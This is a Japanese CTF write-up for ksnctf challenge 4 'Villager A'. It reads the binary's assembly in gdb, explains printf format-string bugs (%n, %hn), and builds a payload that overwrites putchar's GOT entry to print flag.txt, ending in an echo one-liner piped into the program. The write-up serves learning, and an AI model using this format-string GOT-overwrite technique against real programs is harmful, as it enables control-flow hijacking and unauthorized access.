アイジア

CTF, 情報セキュリティの学んだことメモ

ksnctf 4 Villager A

ksnctfの4問目を解いていきます。ポイントはかなり高め。解くにはアセンブリの知識と、スタックのしくみについての理解が必要です。

ksnctf.sweetduet.info

SSHでサーバにアクセスする

TeraTermと問題文の情報を使ってサーバへリモートでログインします。問題の分類的にはpwn(サーバにアクセスして脆弱性を見つけたり、それを利用してフラグを読みだしたりすること)ですね。 f:id:favoritte15:20181113214343p:plain
サーバにはflag.txtがありますが権限がないため読み出しができません。

q4の解析

f:id:favoritte15:20181113214506p:plain
q4を起動すると名前を聞かれます。その後flagが欲しいかと聞かれるのですがyesと言っても教えてくれません。 gdbによるq4プログラムの解析を行っていきます。以下のコマンドを実行してください。

gdb -q q4<br>disas main

するとかなり長いアセンブリが出力されると思います。1行ずつ解析するのは大変かもしれませんが、call文だけ見れば何をしているのかだいたいわかったりします。以下区切り事にざっくりとした解説を載せていきます。

f:id:favoritte15:20181113220134p:plain
「What's your name?」という文字列をputchar関数で出力しています。

f:id:favoritte15:20181113220602p:plain
fgetsでユーザーからの入力を受付け、printfで「Hi, (ユーザーの入力した名前)」と出力する箇所。


f:id:favoritte15:20181113221039p:plain
putchar関数を呼び出して改行した後、一気にmain+205までジャンプしています。


f:id:favoritte15:20181113221601p:plain
詳しく解説はしませんが、普通に実行するとmain+102にジャンプします。


f:id:favoritte15:20181113221750p:plain
「Do you want the flag?」と永遠に聞いてくる部分です。strcmp関数で入力文字列と「no」を比較して同じならプログラムを終了します。


f:id:favoritte15:20181113222057p:plain
fopenでflag.txtファイルを開いて、その中身をprintf関数で出力させる処理です。しかし直前(0x0804868f <+219>)にジャンプ命令があり、普通に実行するだけではこの処理は行われません。

⑥の処理を実行させられるかどうかが問題を解く鍵になります。

printfの脆弱性を付く

この問題を解決するにはprintf関数の性質とフォーマット指定子%nを使った脆弱性を利用します。 f:id:favoritte15:20181113224838p:plain
printf関数には引数の数に決まりがありません。上の画像のように書式文字列をたくさん指定することでprintf関数は存在しない第2引数以降の値を参照しようとして、スタックの値を読み出してしまうのです。ここでは入力した値aaaaがスタックの上から6番目(0x61616161)に保存されていることが分かりました。

また%nは出力した文字列の総バイト数を第2引数以降で指定されたアドレスに格納します。 例として、

int main(){
     int i;
     printf("Hello%n\n" , &i);
}

上記のプログラムでは「Hello」と5バイト分出力しているのでiには5が入ります。もしここに第2引数を指定しなければ、代わりにスタックの値が書き換えられてしまうことになります。

これらを組み合わせて攻撃を行います。具体的にはputchar関数のアドレスを示す箇所を⑥のfopen関数が始まる部分(0x8048691)にします。

objdump -d q4

f:id:favoritte15:20181113230525p:plain
putchar関数のアドレスは0x80499e0に格納されているのでこのアドレスの中身を0x8048691にすることで攻撃は成功します。

\xe0\x99\x04\x08\xe2\x99\x04\x08%\$hn6

指定子%hnを使うことで下位2バイトに対しての書き込みを行うことができます。指定子を記述する前にすでに8バイト分出力しているので、上記の例ではアドレス0x80499e0の上位2バイトには8が入ります。ここには0x8691を入れたいのでたくさん文字を出力させる必要がありますが、これもフォーマット指定子を使って簡単に実現できます。

\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%\$hn6

「%34441x」で34441バイト分出力します。34441 + 8 =34449 = 0x8691なので下位ビットには8691が入ります。

\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%\$hn6%33139%\$hn7

同じようにして上位2ビットを0x804にしていきます。すでに0x8691バイト出力していますが、0x10804にすれば5桁以上が切り捨てられて0x804になります。0x10804-0x8691=0x8173 = 33139なので残り33139バイトを出力します。まとめると以下のようになります。

echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4

まとめ:アセンブリ読もう


CTFをやる人はアセンブリは必須知識なので学習しておくとよいと思います。

Linuxをはじめよう!:アセンブリをやってみよう! 0x100
初めての人はこの辺から。アセンブリのしくみや書き方が基礎から書かれています。